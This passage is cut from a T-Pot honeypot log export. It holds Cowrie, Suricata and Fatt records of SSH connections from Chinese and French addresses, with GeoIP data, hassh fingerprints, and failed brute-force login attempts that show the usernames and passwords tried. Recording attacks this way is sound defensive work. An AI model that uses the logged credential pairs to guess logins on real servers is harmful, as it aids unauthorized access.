"username": "root", "timestamp": "2021-09-20T12:14:28.246384Z", "@timestamp": "2021-09-20T12:14:28.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	FR
36395	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:14:29.134235+03	2021-09-20 15:15:04.527689+03	{"_id": "igYhA3wBvYTbRNuEC2LV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9801509be2fb", "@version": "1", "timestamp": "2021-09-20T12:14:29.134235Z", "@timestamp": "2021-09-20T12:14:29.134Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36396	119.29.153.168	109.199.241.180	Suricata	2021-09-20 15:14:29.133634+03	2021-09-20 15:15:04.529689+03	{"_id": "jwYhA3wBvYTbRNuEDGLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:14:28.581097+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1997428146626025, "payload": "AAADzAYURXg2SYgFvwarLiDkITJQfwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33812, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:14:29.133634Z", "@timestamp": "2021-09-20T12:14:29.133Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Ex6I...... .!2P....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36397	119.29.153.168	109.199.241.180	Suricata	2021-09-20 15:14:29.129591+03	2021-09-20 15:15:04.53069+03	{"_id": "jgYhA3wBvYTbRNuEDGLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1997428146626025, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33812, "dest_port": 22, "timestamp": "2021-09-20T12:14:29.129591Z", "@timestamp": "2021-09-20T12:14:29.129Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36398	119.29.153.168	109.199.241.180	Fatt	2021-09-20 15:14:29.133634+03	2021-09-20 15:15:04.532691+03	{"_id": "kAYhA3wBvYTbRNuEDWLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33812, "dest_port": 22, "timestamp": "2021-09-20T12:14:29.133634", "@timestamp": "2021-09-20T12:14:29.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36399	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:14:30.323423+03	2021-09-20 15:15:04.53369+03	{"_id": "kQYhA3wBvYTbRNuED2K-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [gemma/gemma] failed", "session": "9801509be2fb", "@version": "1", "password": "gemma", "username": "gemma", "timestamp": "2021-09-20T12:14:30.323423Z", "@timestamp": "2021-09-20T12:14:30.323Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36400	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:14:31.600666+03	2021-09-20 15:15:04.534689+03	{"_id": "kgYhA3wBvYTbRNuEE2Kn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9801509be2fb", "@version": "1", "duration": 2.7427926063537598, "timestamp": "2021-09-20T12:14:31.600666Z", "@timestamp": "2021-09-20T12:14:31.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36401	163.172.167.225	109.199.241.180	Suricata	2021-09-20 15:14:27.994514+03	2021-09-20 15:15:04.536691+03	{"_id": "dgYhA3wBvYTbRNuEBWIV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 1837863669064940, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39040, "dest_port": 22, "timestamp": "2021-09-20T12:14:27.994514Z", "@timestamp": "2021-09-20T12:14:27.994Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	FR
36440	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:14:42.87816+03	2021-09-20 15:15:04.588691+03	{"_id": "ogYhA3wBvYTbRNuEQmKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [yan/123456] failed", "session": "ecb3ebdea952", "@version": "1", "password": "123456", "username": "yan", "timestamp": "2021-09-20T12:14:42.878160Z", "@timestamp": "2021-09-20T12:14:42.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36402	163.172.167.225	109.199.241.180	Fatt	2021-09-20 15:14:27.994573+03	2021-09-20 15:15:04.537691+03	{"_id": "dwYhA3wBvYTbRNuEBmIR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39040, "dest_port": 22, "timestamp": "2021-09-20T12:14:27.994573", "@timestamp": "2021-09-20T12:14:27.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	FR
36403	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:14:27.950795+03	2021-09-20 15:15:04.538691+03	{"_id": "gQYhA3wBvYTbRNuEB2Lt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:39040 (192.168.176.2:22) [session: 57714539d081]", "session": "57714539d081", "@version": "1", "protocol": "ssh", "src_port": 39040, "dest_port": 22, "timestamp": "2021-09-20T12:14:27.950795Z", "@timestamp": "2021-09-20T12:14:27.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	FR
36404	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:14:29.287756+03	2021-09-20 15:15:04.539689+03	{"_id": "iwYhA3wBvYTbRNuEC2LW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "57714539d081", "@version": "1", "duration": 1.3342304229736328, "timestamp": "2021-09-20T12:14:29.287756Z", "@timestamp": "2021-09-20T12:14:29.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	FR
36405	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:27.954647+03	2021-09-20 15:15:04.541689+03	{"_id": "fQYhA3wBvYTbRNuEBmJc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39040, "timestamp": "2021-09-20T12:14:27.954647", "@timestamp": "2021-09-20T12:14:27.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36406	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:14:27.953864+03	2021-09-20 15:15:04.542689+03	{"_id": "fgYhA3wBvYTbRNuEB2Ls", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "57714539d081", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:14:27.953864Z", "@timestamp": "2021-09-20T12:14:27.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	FR
36446	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:14:41.390527+03	2021-09-20 15:15:04.59769+03	{"_id": "nAYhA3wBvYTbRNuEOmK6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "ecb3ebdea952", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:14:41.390527Z", "@timestamp": "2021-09-20T12:14:41.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36407	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:28.858707+03	2021-09-20 15:15:04.543691+03	{"_id": "hwYhA3wBvYTbRNuECmJE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 